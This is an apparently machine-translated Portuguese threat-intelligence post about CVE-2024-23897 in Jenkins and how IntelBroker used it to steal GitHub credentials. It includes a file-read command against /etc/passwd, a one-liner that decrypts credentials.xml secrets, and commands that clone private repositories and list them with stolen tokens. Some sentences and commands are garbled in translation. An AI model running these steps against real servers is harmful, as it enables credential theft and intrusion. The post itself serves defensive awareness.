🚀 A CloudSEK se torna a primeira empresa de segurança cibernética de origem indiana a receber investimentos da Estado dos EUA fundo
Leia mais

Categoria: Inteligência adversária
Região: Global
Data: 24 de julho de 2024
TOPO: VERDE
Este artigo investiga as complexidades técnicas do CVE-2024-23897, uma vulnerabilidade de inclusão de arquivos locais (LFI) não autenticada no Jenkins, e retraça como os agentes de ameaças a utilizaram para violar os repositórios Github de uma empresa.

Nossa história começa com um servidor Jenkins aparentemente inócuo, a base dos pipelines de integração e implantação contínuas. Infelizmente, essa instância específica, executando uma versão vulnerável (Jenkins 2.441 e anteriores, LTS 2.426.2 e anteriores), tornou-se alvo das intenções maliciosas dos agentes de ameaças recentemente.
Para entender o ataque, vamos primeiro configurar um ambiente vulnerável semelhante usando o Docker:
1. Extraia a imagem do Docker usando o comando:
docker pull jenkins/jenkins: 2.440-jdk17
2. Execute o contêiner:
docker run -d --name jenkins -p 8080:8080 -p 50000:50000 -v /path/to/your/local/jenkins/home:/var/jenkins_home jenkins/jenkins:2.440-jdk17
Esse comando inicia um contêiner Jenkins, mapeando as portas 8080 e 50000 para a máquina host e montando um diretório local no diretório /var/jenkins_home.
3. Acesse o invólucro do contêiner:
<container_name>docker exec -it/bin/bash
Com o cenário preparado, vamos explorar como os agentes de ameaças estão explorando a vulnerabilidade.
O CVE-2024-23897 é uma vulnerabilidade LFI não autenticada que permite que invasores leiam arquivos arbitrários no servidor Jenkins. Essa vulnerabilidade surge da validação inadequada de entrada, permitindo que os invasores manipulem parâmetros específicos e induzam o servidor a acessar e exibir o conteúdo de arquivos confidenciais.
credentials.xml arquivo, que armazena credenciais criptografadas usadas para várias integraçõescredentials.xml arquivo, obtendo acesso às chaves SSH e tokens de acesso do Github

Vamos nos aprofundar nos detalhes técnicos de como o IntelBroker explorou o LFI e extraiu as credenciais do Github:
O IntelBroker potencialmente usou a ferramenta Jenkins CLI junto com a vulnerabilidade LFI para ler o conteúdo de arquivos confidenciais. Por exemplo, para ler o /etc/senha arquivo:
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ -auth @password .txt versão@/etc/passwd

Ao manipular o símbolo @, eles poderiam induzir o servidor a interpretar o caminho posterior como um arquivo a ser incluído.
Nota: Os scripts POC para o CVE-2024-23897 também estão disponíveis em github.
A IntelBroker potencialmente abandonou o credentials.xml usando o POC abaixo ou um script do github para obter as credenciais criptografadas armazenadas. Caminho do sistema para o arquivo que está sendo /var/jenkins_home/credentials.xml

credentials.xml Arquivo:O Jenkins armazena todas as credenciais globais em formato criptografado neste arquivo. O hash armazenado pode ser descriptografado usando Hudson.util.secret.decrypt ().

Uma vez que eles tiveram acesso ao credentials.xml arquivo, os agentes de ameaças usam o Jenkins Script Console e o seguinte comando para descriptografar as credenciais criptografadas:
println (Hudson.util.secret.fromString (“{XXX=}”) .getPlainText ())
Substituindo {XXX=} com a string criptografada do credentials.xml o arquivo permitiu que eles recuperassem as credenciais do Github em texto simples.

Com as chaves SSH e os tokens de acesso roubados, os agentes de ameaças poderiam:
Usando o comando git clone com a chave SSH roubada adicionada ao agente SSH ou incorporando diretamente o token de acesso na URL:
clone do git [email protected]:target-username/private-repo.git
Nota:
Usando o token de acesso roubado no cabeçalho de autorização, eles poderiam interagir com a API do Github para listar e baixar repositórios:
curl -H “Autorização: token github_access_token” https://api.github.com/user/repos
A violação bem-sucedida da IntelBroker serve como um lembrete gritante da importância da conscientização sobre segurança cibernética e das medidas proativas de segurança. Aqui estão algumas das principais conclusões e estratégias de mitigação:
Ao compreender as complexidades do CVE-2024-23897 e implementar práticas de segurança robustas, as organizações podem se proteger melhor contra esses ataques sofisticados.